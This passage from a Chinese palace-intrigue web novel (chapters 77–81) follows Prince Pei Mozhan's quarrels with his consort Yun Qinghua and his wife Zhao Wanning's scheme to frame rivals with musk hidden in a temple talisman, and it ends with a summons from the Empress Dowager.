“王爷,您放心,臣妾一定不负您的嘱托,顺利诞下孩儿。将来孩儿一定会为您分忧,做好嫡长子的本分。”赵婉宁笑得灿烂,言辞中满是骄傲。 裴墨染脸上的笑散去,他觉得赵婉宁的话很刺耳。 他何时说,她的孩子就一定会成为世子? 尽管他早就看清了赵婉宁的自私自利、爱慕虚荣,可他还是觉得失望。 就好像过去的五年都是假的,他们从来不曾相爱过。 蛮蛮就不会这样算计,蛮蛮满心满眼只有他,只会计较他有没有付出真心。 “婉宁,躺下歇息吧。”他起身就走。 裴墨染满脑袋都是云清婳失望的脸。 他担心蛮蛮知道婉宁解禁,会失望、难过,会继续闹脾气。 可是婉宁腹中的是肃王府当下唯一的血脉。 他希望蛮蛮能够体谅他。 不过当然,蛮蛮没有选择的余地,她必须体谅。 如果她继续胡闹,他也会强硬起来。 他将来会登上至高无上的位置,身边少不了利弊权衡、阴谋算计,蛮蛮若是连这点气量都没有,怎配留在他身边? “王爷,您明日还来看臣妾吗?”赵婉宁凄凄地问。 “只要你听话,本王自然会来看你。”他例行公事般说道。 人离开后,赵婉宁的唇角勾起,“云贱人没了孩子,我却怀了孕,王爷还这样心疼我,云贱人恐怕心都要疼碎了吧。” 青樱幸灾乐祸道:“是啊!之前云清婳还逼王爷罚您,她现在像极了跳梁小丑!” “魏娴方才一直帮着云清婳,她们俩果然联手了!听闻魏娴出阁前,时常礼佛。让她去感业寺为我的孩儿求一枚开光的平安符。”赵婉宁摸着平坦的小腹。 “是。”青樱咧嘴笑,露出白森森的牙。 感业寺的平安符可没这么好求,要在一千级台阶上,三步一跪,五步一叩才能求得一枚。不少人磕得头破血流,从台阶上摔下去呢。 …… 清心阁被解禁的消息,很快就传遍了肃王府。 这完全在云清婳的意料之中,她扯出一抹妖冶的笑,眼神勾人,“看来,我真的得闹一闹了。” 飞霜担心道:“主子,今日您已经闹过一次了,若是再闹,王爷会不会厌烦?” “有时候,吵架反而能增进感情。男人喜欢图新鲜,我若是一味的顺从,只会让他觉得索然无味。” 第77章 蛮蛮:我要成为他的白月光 “我得给他设置挑战,让他不停地想要征服我,这才能让他对我保持兴趣。”云清婳分析。 飞霜似懂非懂。 “再说了,裴墨染敢一次又一次地伤我,不就是因为我太懂事了吗?所以他觉得我软弱可欺,只要随便哄一哄,就会乖乖就范。这一次我失去了孩子,倘若还这么窝囊,我就会窝囊一辈子!”她越想越来气。 狗男人,真是可恨! 真把她当冤大头了? 他们的情感游戏中,操纵者只能是她! 正说着,走廊倏地安静下来,门外响起了沉稳的脚步声。 裴墨染看见寝殿的门没锁,缓缓吁气,他面色沉重地走到云清婳面前。 “蛮蛮,王妃怀孕了,还动了胎气,本王得让她好生养胎。”裴墨染耐心地解释。 云清婳坐在桌前,娇艳的脸蛋上平淡如水,“王爷怎么处置都好,不必跟妾身说的。” “你生气了。”他握住她的手。 云清婳跟他对视,“没有。” 他蹙眉,“你就是生气了。” “没有。” “还说没有!你都不唤本王夫君了。” 裴墨染握着她的肩膀,眼神灼热的看着她,“蛮蛮,你打也打了,本王也罚她了,本王的态度你还看不出来吗?原谅王妃这一次吧。” 晶莹的水光在云清婳圆润的眸子里打转,她的唇瓣干涩,“王爷是罚了,可罚了不到一个时辰就什么都不作数了,这就是您的态度吗?” “婉宁腹中怀了本王唯一的子嗣,你想让本王怎么做?蛮蛮,你要为本王考虑,不要被仇恨蒙蔽双眼。”他严肃地说。 叫得真亲热。 前几日连别人的名字都不愿叫,现在因为一个假孩子,居然又变得亲近起来。 这就是男人! “我们的孩子才没,您就去庆祝凶手有了孩子!”云清婳哽咽,“您总是一边哄着我,让我自以为被爱,然后又一边帮着王妃伤害我,王爷,您好狠的心啊!” 裴墨染的心像是被细密的绣花针扎了一下,“你怎会这么想?” 她推开他的手,跟他隔开距离,心灰意冷地说:“难道不是吗?我在王爷心中只是生孩子的工具!现在孩子没了,您自然也不会眷顾了。” 上位者的阴暗心思,怎能被下位者点破? 他深呼吸,缓一会儿,“你如今在气头上,本王不跟你计较。” “我理智得很,我从来没有这么清醒!王爷,你可曾把我当作你的妻子?王妃给我下催情药,您罚她禁足,她害了我们的孩子,您还是罚她禁足!” “凭什么每次受委屈的都是我?凭什么王妃犯了天大的错,您总是轻轻揭过?我在您心里,就是一个无足轻重的人对吗?” “是不是有一天王妃杀了我,您还是罚她禁足?呵,不对,您或许连一滴眼泪都不会掉,您只会惋惜,一个懦弱乖巧的玩物没有了。”云清婳的声音陡然拔高。 裴墨染的威严受到了挑战,一团怒焰正灼烧他的胸口,他的声音陡然变大:“你是在质问本王吗?你也害王妃动了胎气,本王不是也没追究你的过错,你还想怎么样?” “你要记住你的身份!本王需要的是一个识大体、懂进退的侧妃,而不是一个咄咄逼人,满眼仇恨的妒妇。” 最后两个字一出口,裴墨染就后悔了。 这话太重了! 蛮蛮德行昭然,怎会是妒妇? 云清婳的眼泪如珍珠般坠下,她忽然笑了,“呵,是啊,我是妒妇!” 她双腿一屈,跪在他面前,“妒妇该死,妒妇恭祝王爷跟王妃百年好合,早生贵子。” 裴墨染的心被刺痛,他俯身强行将她拽起来。 他软下口风,“蛮蛮,方才是本王失言,是本王不好。” “王爷怎会失言?王爷怎能给一个生育工具道歉?”云清婳讽刺。 裴墨染最受不了她的阴阳怪气,眼底的温度渐渐冷却,“蛮蛮,你一定要这样?一定要威胁本王,逼本王妥协?” “妾身不敢!王爷也不必委曲求全,说好听话来哄骗妾身。虚情假意,妾身最膈应了,看着就想吐。”云清婳一字一顿地放出狠话。 无尽的怒火在腹中燃烧,裴墨染从小到大何曾被人这样骂过? 他放出狠话:“蛮蛮,倘若你一定要跟本王生分,本王便如你所愿。” 他想云清婳向他服软! “您的虚情假意还是留给其他女人吧,妾身宁可孤独一生,也不要尔虞我诈的感情。”她恭敬的福身。 裴墨染胸中郁结,他气她的倔强,气她的反骨。 她为何不能大度一点? “本王再给你最后一次机会。蛮蛮,不要让本王失望。”他朝她伸出手。 他选择了低头。 蛮蛮毕竟是京城第一贵女,她也有自己的骄傲,他也不是不能哄着她。 飞霜心疼地上前,她扶着云清婳,示意她服软,“主子……” 裴墨染悬着的心,放下了点。 飞霜都来劝了。 蛮蛮应该会见好就收吧。 云清婳瞥着他的手心,只觉得膈应。 说不定他方才还摸了赵婉宁的手。 她决绝地说:“妾身宁缺毋滥!心中没有妾身的人,妾身也不愿放在心上。” “好!”裴墨染被气急了,他甩袖离开。 门被重重甩上了。 一阵风扑面而来。 由此可见裴墨染的愤怒。 飞霜吓得肩膀一颤,“主子,咱们是不是玩脱了?王爷真的气急了。” “放心吧,裴墨染逃不出我的手掌心。”她心里有了新的盘算。 她现在就是故意激怒裴墨染,让他一遍遍地伤害她! 将来他失去她的时候,才会深深的后悔啊。 人一旦后悔起来,就会无限美化自己没有选择的东西。 这样,她就会变成裴墨染的白月光。 裴墨染现在选择赵婉宁的孩子,但是倘若将来发现孩子是假的,并且失去了她呢? “你派几个人去赵婉宁的私生子身边转转。”云清婳阴恻恻道。 飞霜笑道:“呵,赵婉宁知道后,还不得吓死?” 人在惊恐下,一定会做出不理智的行为。 第78章 梦里梦外都是蛮蛮 裴墨染一整日都面目阴沉,浑身蕴着戾气,让人不敢靠近。 他在诏狱审问犯人时,险些打死了好几个要犯。 几个心腹皆看出了他的不对劲,众人大气不敢喘,言行愈发恭敬。 真是见鬼了! 不是说王妃怀孕了吗? 王爷还有什么不满意? 就在第四个重犯快被打死时,诸葛贤来了。 此时,裴墨染正坐在太师椅上,居高临下的看着血淋淋的犯人,就像在看蝼蚁。 他倚靠在椅背上,黑沉的脸上略显心不在焉。 “王爷。”诸葛贤行了一礼。 裴墨染回过神,他示意手下停止用刑,他起身,随诸葛贤离开诏狱。 “先生,何事?”他问。 “王爷,您今日险些处死了四个朝廷要犯,这都是皇上钦点要亲自盘问的。”诸葛贤实在忧心他的状态。 裴墨染敷衍的颔首。 诸葛贤无奈的发问:“王爷可有心事?” 裴墨染本来不想说,可心中堵闷淤塞得难受,除了诸葛贤,他也无人能够倾诉了。 裴墨染将今日的事讲给了诸葛贤。 诸葛贤无语望天。 他只是一个外臣,只是一个老头子,怎么管得了年轻人的情情爱爱? “先生,你不觉得蛮蛮太过分了吗?她怎么能这样跟本王说话?”裴墨染一想就来气。 诸葛贤捋着胡子,“王爷,从君臣的角度来看,云侧妃大错特错,您就算用七出之条休了她,也无人敢说您的不是。” 裴墨染心梗。 他何时说过要休蛮蛮? “但是从夫妻的角度来看,云侧妃没有一点错。她没了孩子,想给孩子报仇,其心可悯。”诸葛贤担心裴墨染误会自己站队,点到为止。 裴墨染不悦,“蛮蛮身为本王的侧妃,就该有容人之量,她怎会没有一点错?她对本王不敬,对王妃不敬,还要跟本王决裂,可气至极!” 诸葛贤还是第一次见杀伐果决的肃王,这般气急败坏。 他耐着性子解释:“每个人面对王爷时,都有不同的身份。臣子有求于您,妾室畏您,妻子爱您。王爷不能一边让云侧妃当臣子,一边又让她当妻子。” “为何不能?婉宁就可以。”裴墨染打断他的话。 诸葛贤的眼中闪过嫌恶,“王爷当真愿意让云侧妃变成王妃那样?” 裴墨染语塞。 婉宁自私自利,他对婉宁早就失望了。 “王爷,云侧妃究竟是什么位置,您想明白了,就不会纠结了。”诸葛贤拱手告退。 裴墨染怅然若失。 所以,是他想要的太多吗? 他也应该把蛮蛮当妻子,拿出真心对待她? 可是真情在帝王之家太奢侈了,他不敢赌。 他害怕背叛,更不想拥有软肋。 …… 当天夜里,玄音阁的争吵就传进了清心阁。 赵婉宁笑出了眼泪,“云清婳居然还敢跟王爷闹?真是又想当婊子,又想立牌坊!她若是真的失望,为何不求王爷休了她?” 青樱也跟着笑了,“一个女人最在乎的就是孩子。云清婳失去了孩子,难免会丧失理智,这也是咱们算计她的最好的机会!” “你快去准备!”赵婉宁摆摆手。 一个心腹走进门中,送来了一张纸条。 赵婉宁看后,脸色瞬间变得惨白。 “贱人!贱人!贱人!”她勃然大怒,高声尖叫。 青樱担心地问:“王妃,怎么了?” 赵婉宁不语,眼中充斥着泪水。 一定是宝音出卖了她! 要不然云清婳的人怎会突然出现在福宝的身边? “我要杀了云清婳!杀了她,杀了她!”赵婉宁的眼中泛着凶光,谨慎的将纸条丢进炉子。 青樱一头雾水。 …… 接下来的半个月,裴墨染一回府就去看望赵婉宁。 每次他去后宅临幸妾室,赵婉宁就会想方设法把他叫走。 裴墨染自然知道赵婉宁的小心思,但因为顾念孩子,还是遂了她的愿。 这些日子,他临幸了新入府的妾室、沈沁、魏娴。 有时,赵婉宁也会衣衫清凉,娇媚地扯住他的衣袖,求他留宿。 可裴墨染看见她,脑海中便不由自主地想起云清婳失望的脸。 他总会推开赵婉宁,借口有事离开。 这让赵婉宁恨得牙根痒痒。 …… 今夜月亮正圆,每月月中,裴墨染都会回府。 “王爷就像是在躲着您,谁都看了,就是唯独不来看您。”飞霜为云清婳梳着发髻。 云清婳不免有些担心,因为她真的有些看不清裴墨染的心了。 裴墨染向来自负高傲,他还不至于用其他女人刺激她,逼她低头服软。 他为何突然就冷了下来?总不会是真的厌恶她了吧? “王爷反复无常,生性多疑,想要攻心,实在不易啊。”飞霜感到疲惫。 她轻拍飞霜的手背,“放心吧,今晚他会来的。” 夜色漆黑。 云清婳邀请了沈沁、魏娴前来小酌。 魏娴的额头有些淤青,哪怕用头发跟粉脂遮挡,也能看出淡淡的青。 “这是怎么了?”云清婳蹙眉。 魏娴尴尬地用手捋了下额前的刘海,“没事……” “还不是王妃?她为了磋磨魏姐姐,每天都让魏姐姐去感业寺求平安符,一千级台阶,三步一跪,五步一叩,头没磕破就不错了。”沈沁愤愤不平道。 魏娴并不在意,她道:“云侧妃,我倒是无妨,不过是磕磕头,只是你……” “对啊,云姐姐,您跟王爷究竟怎么了?”沈沁担心地牵着她的手。 云清婳勾勾她的下巴,笑道:“傻瓜,我没事,我们别想这些不开心的了。” 魏娴看着庭院中的茶酒点心,丝竹管弦,豁达地说:“男人可以征服天下,享受美女与歌舞,凭什么女人只能围着男人转?我们为何不能享受呢?” 云清婳像是找到了知己,跟魏娴相视一笑。 飞霜抱来了一坛珍藏的玉翠贡酒,“两位夫人,这是主子的嫁妆,圣上御赐的酒,就连王爷,主子都没舍得拿出来。” “我还没喝过御赐的酒水呢。”沈沁的双眼放光,娇憨地吞口水。 魏娴看她馋嘴的模样,忍不住笑了。 三人在月下小酌,不一会儿,酒水就见了底。 几人的面颊上染了红晕,半醉半醒。 嘻嘻哈哈的说笑打闹。 “听说第一贵女的舞姿卓绝,无人能比,云姐姐我想看。”沈沁坐在古筝前,拨弄着琴弦。 魏娴顺手捻起一根萧,福至心灵,“云侧妃,我们为你奏乐如何?” 云清婳面如芙蓉,含羞似怯地颔首。 她回屋换上了一席朱红色浮光锦舞衣,绸缎在月光下散出水波般晃动的光晕,她美得像是月宫仙子,楚楚动人。 让四下的婢女都看直了双眼。 丝竹管弦声响起,云清婳随着韵律翩翩起舞,纤细的腰肢柔软,举手投足摇曳生姿,一颦一笑妩媚动人。 乐声传出了玄音阁,裴墨染闻声,站在原地久久微动。 贴身太监察言观色道:“王爷,声音是从玄音阁传出来的,这箫声真好听。不如咱们去看看?” 自从王爷跟云侧妃吵架,王爷就整日阴沉着脸,一言不合就开骂,遭殃的就是他们这些奴才。 他巴不得王爷跟云侧妃立即和好,跟以前一样和和美美。 “这么晚了,怎可嬉闹?”裴墨染嘴上训斥着,可早已朝着玄音阁迈步。 贴身太监差点没笑喷。 真是口是心非! 这半个月以来,裴墨染克制着自己不去想云清婳,可午夜梦回,梦里梦外都是她。 可是他还没有想清楚他对云清婳的态度,有种近乡情怯之感。 第79章 惊鸿一舞,牵动他的心 玄音阁的门半掩着。 庭院中,云清婳正身着绝美华丽的舞裙,在月光下翩跹起舞。 柔软的衣摆随着她的旋转,跟着舒展偏飞起来,远远看上去,她像一只蝴蝶,美得惊心动魄。 她的面颊微红,双眼迎着月光,熠熠生辉,灵动清澈,打动着他的心。 裴墨染凝视着云清婳,这一刹那,好像时间都暂停了。 一曲舞毕,云清婳挺着雪白修长的颈子,笑得妩媚勾人。 “云姐姐好漂亮!”沈沁鼓起掌来。 魏娴瞥见了门外玄色的衣袍,遂也放下箫,调戏道:“京城第一贵女,深得吾心。” 云清婳哼了一声,跺跺脚,“你怎么也学坏了?” “呵呵呵……”几人跟婢女笑成一片。 “云姐姐,你待我们,比待王爷还好呢,酒水跟歌舞都伺候到位了。”沈沁打趣。 云清婳的脸倏地沉下去,她噘着嘴,“我看你是真的醉了!大好的日子,提他干嘛?” 门口,贴身太监的心肝差点从嗓子眼跳出来。 姑奶奶,这话可不兴说啊。 裴墨染的脸沉了下去。 “即使没有男人陪在身侧,我闲来之时与你们小酌,跳舞奏乐不也快哉?”云清婳通透地说。 “可是……”沈沁可是了半天,也没说出个所以然。 有吃有喝有姐妹在身边,不用讨好伺候男人,似乎是挺好。 她想不到话来反驳。 裴墨染袖中的手,缓缓攥了起来。 蛮蛮竟然是真的要跟他离心。 甚至做好了一辈子不见他的打算? 她怎么可以如此狠心? 魏娴又悄悄瞅了眼门口,她继续道:“云侧妃,方才是什么舞?为何我从来没看过?” “……”云清婳露出忧伤的表情。 飞霜解释道:“这是主子出阁前自己编的舞,说是今生今世只会跳给心上人看。” 沈沁用怜悯的眼神看着云清婳,“云姐姐……” 云清婳扯出一抹嘲讽的笑,“年少轻狂的傻话罢了!我这辈子虽不能跳给心上人看,但可以跳给你们看。” 裴墨染的心像是被狠狠揪住。 她就这么失望吗? 真的不在乎他了? 他再也忍不住,大步走进门中,讽刺道:“真是好雅兴。” “参见王爷。”沈沁吓得扑通一声跪地。 其余人也跟着行礼。 云清婳眼神一黯,也跟着跪下。 裴墨染伸出手,想要扶她,可她视而不见。 沈沁、魏娴这才看明白。 好家伙! 不是王爷冷落你,是你单方面冷落王爷。 魏娴有种深深的无力感。 那你装什么可怜? “夜色已深,你们还胡闹什么?都回去!”裴墨染低吼。 沈沁、魏娴都悄悄用看疯子的眼神看他。 有病! 人走后,裴墨染双手背后,略感尴尬,他阴阳怪气道:“你的日子过得倒也潇洒。” “不如王爷温香软玉在怀,子嗣福运无边。”云清婳的语气太过真诚,让人不禁怀疑到底是讽刺还是真的在祝福。 他蹙眉,“你非要这样跟本王说话?” “王爷恕罪,妾身可是哪里礼数不周,冒犯了您?”云清婳露出惶恐的表情。 裴墨染凝视着她的脸,突然想起了诸葛贤的话。 原来蛮蛮也可以虚与委蛇,装成一个合格的臣子。 他面对蛮蛮时,永远高高在上,主宰一切,可他却不允许蛮蛮有片刻的不真诚,甚至让蛮蛮全心全意地爱慕他。 世间哪有这么好的事,既要又要? 一边威慑恐吓她,一边又让她爱他。 可他实在不敢交付真心。 裴墨染看着她,一时之间竟不知道该说些什么。 云清婳却松了口气。 她感受到了裴墨染的纠结跟犹豫,他似乎想要跟她和好,可却顾忌着什么。 这是一个很好的信号! 她推测,裴墨染在考虑跟她交心,但又在犹豫,需要一个人来推一把。 二人僵持着,忽然,管家急匆匆跑来,“王爷,王妃晕倒了。” “孩子没事吧?”裴墨染边问,边快步往清心阁的方向赶。 …… 少顷,清心阁便聚满了人。 几房新进门的妾室以及崔夫人、魏娴、沈沁、云清婳都来了。 赵婉宁躺在床榻上堪堪转醒。 裴墨染关心道:“怎么样?肚子疼吗?” 闻言,云清婳、魏娴都鄙夷不已。 瞧,裴墨染心中只有孩子。 哪里是关心人? 可赵婉宁却察觉不出来。 “臣妾没事。”赵婉宁一脸感动。 “王妃为何会晕倒?”裴墨染厉声质问府医。 府医战战巍巍的跪地,“王妃一定是受了什么刺激,王妃的体内无毒,定是周身的环境有问题。” “王爷,究竟是何人想要谋害我们的孩子?”赵婉宁捂着脸,抽抽噎噎地哭起来。 裴墨染安慰道:“别哭,当心伤了孩子,本王定会为你做主。” “嗯!”赵婉宁满脸信赖的看着他。 云清婳跟魏娴交换了一个眼神。 虽然知道这一局十有八九是冲她来的,但赵婉宁具体是怎么布局的,她心里还没数。 别说,她真的有些期待呢。 一个样貌妩媚的妾室孟氏忍不住开口:“府里敢谋害王妃的还有谁?” 此话一出,许多人的眼神都不由得落在云清婳身上。 “王妃半个月前就险些被打流产,幸亏福泽深厚,孩子才安然无恙。有些人福薄,自己护不住孩子,就见不得别人有孩子。”孟氏夹枪带棒地讽刺。 她以为云清婳不受宠,而赵婉宁又得宠,就想着自己帮着赵婉宁,王爷或许会高看自己一眼。 云清婳抿着唇,强行把眼泪逼回去。 裴墨染剜了孟氏一眼。 “贱人!” 啪—— 崔夫人似乎被刺激到了,她扬起巴掌狠狠朝孟氏的脸扇了过去。 孟氏的脸都被扇歪了,“啊……” “孟夫人,妾身跟您无冤无仇,您为何打我?” “就凭你嘴贱!”崔夫人捂着小腹,目眦欲裂。 孟氏这才想起来崔夫人也才流产不久。 云清婳险些笑出来。 崔夫人真让人解气。 “再闹就滚出去!”裴墨染不耐烦的低吼。 崔夫人吓得一颤,不敢再说话。 “别指桑骂槐了!我相信云妹妹的为人,之前虽然是我失手,但我的确对不住云妹妹。”赵婉宁捂着肚子,一副贤惠宽容的模样。 裴墨染对她的表现很满意。 就在这时,贴身太监搜到了一枚平安符,“王爷,奴才在梳妆台发现了一枚平安符,里面装有麝香!” “什么?”赵婉宁惊呼。 青樱扑通跪在地上,“王爷,求您给王妃做主啊!这枚平安符是魏夫人求来的。” 魏娴镇定的跪地,字字铿锵道:“王爷,平安符虽然是妾身求来的,可妾身并不知道里面是怎么混进了麝香。” 云清婳的眸子微眯。 她没想到,赵婉宁这一次把矛头指向了魏娴。 第80章 云清婳是香饽饽 “王爷,妾身怎会这么愚蠢,直接往平安符里下麝香?一旦东窗事发,不就直接能查出妾身吗?”魏娴继续辩解。 沈沁也求情道:“是啊,王爷,魏姐姐素来与世无争,她怎会害王妃?” “我相信魏夫人,魏夫人素来安分。”赵婉宁柔声说着。 这让小妾纷纷对她心生好感,而云清婳在她们眼中成了破坏王妃跟王爷感情的插足者。 裴墨染的神色幽深,无人能看懂他心中在想什么,他示意贴身太监继续查。 孟氏实在想出头,她时常对镜神伤。 她觉得自己样貌出众,除了云清婳,可以艳压所有人,不甘心只被王爷宠幸一次。 “妾身倒觉得魏夫人或许是个突破点,为何不查查魏夫人平日接触过什么人?与谁交好?魏夫人没有害人之心,她身边人可不一定没有。”孟氏想要展现自己的聪明。 裴墨染恨不得拧断她的脖子。 他张口闭口都是在攀咬蛮蛮。 众人又不约而同看向云清婳。 谁不知道,云清婳跟魏娴私交甚密? 云清婳深吸了一口气,不卑不亢道:“你何必指桑骂槐?想说我便说,不用拐弯抹角。” “妾身可没指名道姓,云侧妃若没做过,为何觉得妾身在说您?”孟氏自以为机敏地笑了。 云清婳婉约一笑,“真是好一出春秋笔法,看来今晚我只能吃你的闷亏了。” 这个仇,她记下了。 没办法,她这人,就是记仇。 孟氏,她不会放过的。 孟氏还想回嘴,飞霜便斥道:“住口!云侧妃岂是你能攀咬的?” “王爷,查到了!”贴身太监来了,“奴才查到了麝香。” “在何处查到的?”赵婉宁撑起身子,眼中闪出快意。 贴身太监看了眼云清婳,纠结地开口:“是在玄音阁……” 裴墨染看向云清婳。 她的鼻尖泛着淡淡的红,眼中闪出几分诧异。 他并不意外这个结果。 每次都是,任何事都能攀扯上玄音阁。 “呵……云侧妃,看来不是妾身攀扯,而是事实如此啊。”孟氏骄傲地挺直了脊梁。 她心想着,男人喜欢聪明的女人,王爷看到了她的聪慧,这次总得高看她一眼了吧? 可裴墨染眸子一瞥,其中蕴藏着凶光,他已经在盘算待会儿怎么处置这个孟氏了。 “云妹妹!你为何还是不肯放过我?我也任你打骂了,冤冤相报何时了啊?”赵婉宁肩膀一抽一抽地哭起来。 “妾身没做过。”云清婳一字一顿。 青樱冷哼,“云侧妃,除了你还有谁?亏我们王妃还帮你说话!我们王妃失手才推你下水,而你却故意给王妃下麝香,还栽赃给魏夫人!你太阴险了!” 一群妾室都不寒而栗,惶恐地看向云清婳。 云清婳瞪圆了双眼,眼底一片愕然,像是背负了一口黑锅,却无力澄清。 这一次,赵婉宁不仅想毁了她,还想毁掉她第一贵女的名声。 啧,有点进步。 裴墨染看着她如此委屈,心里隐隐作痛。 贴身太监赶忙说道:“不不不,奴才是在熏香炉里看到的麝香香灰,云侧妃也被人算计了。” “什么?”裴墨染腾地站了起来。 有人想害蛮蛮不孕! 赵婉宁也瞪圆了眼。 这跟她安排的可不一样! 她本来想一石二鸟,直接除去云清婳跟魏娴,为何藏在树下的麝香跑到了香炉里? 赵婉宁的手紧紧攥住被褥,手臂抖了抖,她有些不安。 紧接着,贴身太监又道:“奴才倒是在青樱的枕头里发现了一包麝香。” “什么?”青樱的脸登时惨白。 她的腿肚子不停地颤抖,扑通一声跪地,“冤枉啊,奴婢冤枉啊!一定是有人陷害奴婢!奴婢怎么可能害王妃?” 赵婉宁的双目赤红,她惊慌失措地扫视四周,眸子正好撞进了云清婳轻蔑的眼中。 她咬牙切齿,恨不得扑上去掐死云清婳。 贱人! 这个贱人在她身边也安插的有人! “诶呀,你莫不是对王爷生了不该有的心思?所以想陷害王妃跟云侧妃?”飞霜看热闹不嫌事大,斗胆说了一句。 青樱的嘴张得快能塞下一个鸡蛋了,“冤枉啊!” 裴墨染一脸的厌恶,“来人,将她拖下去处置了!” “王妃,您救救奴婢吧!求您了,奴婢对您忠心耿耿啊!”青樱哭喊着抓住赵婉宁的手。 赵婉宁道:“王爷,我不相信青樱是这样的人,青樱一定是被冤枉的。” “将贱婢即刻杖毙!”裴墨染低吼。 赵婉宁吓得一抖,不敢再说。 青樱的家人都在赵婉宁的手上,她不敢挣扎,她撕心裂肺地咒骂:“云清婳,你不得好死!就是你在谋害王妃,麝香就是你下的!就是你!” 她还想咒骂,可嘴就被人堵上了。 妾室吓得不轻,而其他人却是见惯了这种场面。 孟氏根本没把云清婳放在眼里,她以为王爷十分厌恶云清婳,“王爷,那青樱不像在说假话,不如再查验一番?毕竟是条人命啊。” “拖下去掌掴五十!”裴墨染忍无可忍,冷冽地下达命令。 孟氏暗喜,得意地瞥了云清婳一眼。 可几个太监突然上前,抓住了孟氏的肩膀。 “你们干什么?不是拖我下去,是她,是她!”孟氏的脸扭向云清婳。 崔夫人都忍不住笑了。 这个蠢货,不会还天真地以为云清婳不得宠吧? 她曾经就吃过无数次这种亏。 “松开我,松开我!”孟氏求救地看向裴墨染。 可裴墨染根本不理她,而是径自走向云清婳,“让府医给你看看,顺便开点药。” “不必了。”云清婳冷漠地说。 孟氏看到这一幕,突然失去了力气,喉咙里一个音都发不出来了。 她站队,一开始就站错了? “府医,给云妃看看。”裴墨染威严地命令。 可一转眼,云清婳早就带着飞霜离开了。 魏娴想到了一个词儿,热脸贴冷…… 咳,当然,云清婳才不是屁股,而是香饽饽。 敢当众给肃王甩脸色,也只有云清婳有这样的胆量。 “混账!” 裴墨染被当众下了面子,狠踹了府医一脚。 “还不追过去给云妃把脉。”他恼羞成怒,胡乱找人发泄。 “是是是……”府医连滚带爬地跑了。 赵婉宁目睹一切,气得恨不得咬碎银牙,可不得不装出温婉的模样。“王爷,您去看云妹妹吧,臣妾身子有些不舒服,就先歇下了。” “肚子不舒服?本王传太医给你看看。”裴墨染担心地说。 赵婉宁像是被人踩住了尾巴的猫,立马使劲摇头,“不、不、不用了,臣妾哪有这么娇贵?身子都快四个月了,已经稳了。” 裴墨染眼中闪过疑惑。 她的反应为何这么大? 第81章 搬救兵哄蛮蛮 “嗯。”裴墨染急着去找云清婳,没有细想。 人走后,赵婉宁抱膝坐在床榻上。 她不安地抓着头发,她感到四面楚歌,快要崩溃了,“究竟是谁?你们究竟谁才是云清婳的细作?说啊!” 众婢女跪在地上,瑟瑟发抖。“……” 赵婉宁从娘家带来的陪嫁只剩下春苗。 裴墨染曾经说过春苗不像西北女子,娇小肤白,像是江南人。 所以赵婉宁看不惯她,派她倒夜香、擦地,干最低贱的活计。 可如今却不得不用她。 “王妃,您冷静一点,若是动静传出去了,万嬷嬷的人会通报给王爷的。”春苗低声劝道。 赵婉宁的胸脯气得一起一伏,她的眼中闪过杀意,俯身在春苗的耳边说了什么。 春苗大惊失色,可最终还是乖乖听命,“是。” …… 玄音阁。 裴墨染担心云清婳的身子受损,命人加急熬了药。 “妾身不想喝。”云清婳冷清地说。 裴墨染端起药碗,柔声道:“本王喂你。” 云清婳福礼,“王爷怎能纡尊降贵的喂妾身?” “别闹了,你的身子还没养好便又熏了不少剂量的麝香,若是败了身子,我们日后还怎么要孩子?”他跟她讲道理。 云清婳面无表情,“妾身只愿给心上人生孩子,身子败了便败了,妾身绝不会让孩子生活在虚情假意中。” 裴墨染的手抖了抖,药泼洒了出来,将他的手背烫红了一片,“你心里没本王了吗?” “您心里有妾身吗?”她反问。 裴墨染语塞。 云清婳继续道:“您待妾身如何,妾身如是。您是权势滔天的肃王,杀死妾身就跟碾死蚂蚁一样简单,您能掌控许多事,但控制不了妾身的心。您就算下令,妾身的心也不会听您的。” 他恼怒她的针锋相对,他厉声道:“好!本王命令你喝药。” “是。”云清婳从他手里接过药碗,拧着眉头,痛苦地吞咽。 她险些吐了,眼泪都憋出来了。 裴墨染是心疼的,可他却回应不了她的真心。 二人相对无言,最终裴墨染只能离开。 飞霜轻声叹息,“主子,奴婢看得出来,王爷心里是有您的。赵婉宁对他而言,只是王妃跟生孩子的工具,没有多少情分了。” “他心里有我,更有储君之位。他不敢信任我,怕我背叛他,也怕我拖累他。”云清婳略带嘲讽地说。 其实,跟裴墨染和好很容易。 可是一旦和好,裴墨染就会觉得她软弱可欺,下次无论发生什么,都会让她忍让。 征服裴墨染的这条路不好走,但她必须拿下! 赵婉宁只是一个小菜,真正困难的是裴云澈、皇后。 只有让裴墨染真的爱上她,她后面才会如履平地。 “赵婉宁没了智囊团,恐怕会按捺不住,对我下手。接下来的戏,得需你来演了,你能演好吗?”云清婳挑起飞霜的下巴,眼尾上翘,韵味十足。 飞霜的小脸绯红,不太自信。“奴婢可不如主子,能应付两个男人。” “呵……”她的笑声慵懒妩媚,像一只勾人的狐狸,“你别笑场就行,剩下的戏,魏娴会演好。” “是。”飞霜道。 …… 裴墨染再一次跟云清婳不欢而散。 他回书房后,踹翻了桌椅。 之前蛮蛮满心满眼都是他,会软声唤他夫君,对他撒娇。 可现在只论君臣,眼底毫无情绪。 他快要被她的冷漠气疯了! 蛮蛮为什么不能像曾经一样对他? 奴才跪了一地。 贴身太监极少见王爷如此失控,他道:“王爷,不如找人劝劝云侧妃?云侧妃固执,但终归有敬畏的人。” 裴墨染似是突然想到了什么,脸色渐渐好转,“下去领赏。” “多谢王爷!”贴身太监眉开眼笑,跪地谢恩。 …… 翌日清早,云清婳便受到了慈宁宫的传召。 她大张锣鼓地去了。 这气煞了赵婉宁。 慈宁宫。 太后和蔼地坐在上首,她的眼神有意无意落在一侧的屏风上。 云清婳踏入大厅的一刹那,老人和蔼的脸上出现了几分心疼。 “清婳,快来坐。”太后拍拍身侧的软榻。 “妾身见过太后娘娘。”云清婳福福身,随后规矩地坐在太后的身边。 桂嬷嬷递来一杯热茶,“冰天雪地的,云侧妃当心冻坏了身子。” “妾身想到见太后娘娘高兴,一路上身子都是暖的。”云清婳接过茶,嘴甜地说。 太后、桂嬷嬷都被逗乐了。 “听闻,哀家那鲁莽的孙儿又惹你生气了?”太后宠溺地问道。 云清婳的笑脸一僵,她摇摇头,“王爷待妾身极好。” “不必瞒了,哀家猜也能猜到。你才失了孩子,墨染就去庆贺王妃得了孩子,只有无心的人会高兴。”太后心疼地揉揉她的脑袋。 一颗清泪落入茶杯,云清婳抽抽噎噎地哭了起来。 太后双目矍铄,用劲儿捏着她的手心,别有深意地说:“孩子,人生的路还长着呢,别只看几个月的得失,谁输谁赢还不一定呢。” 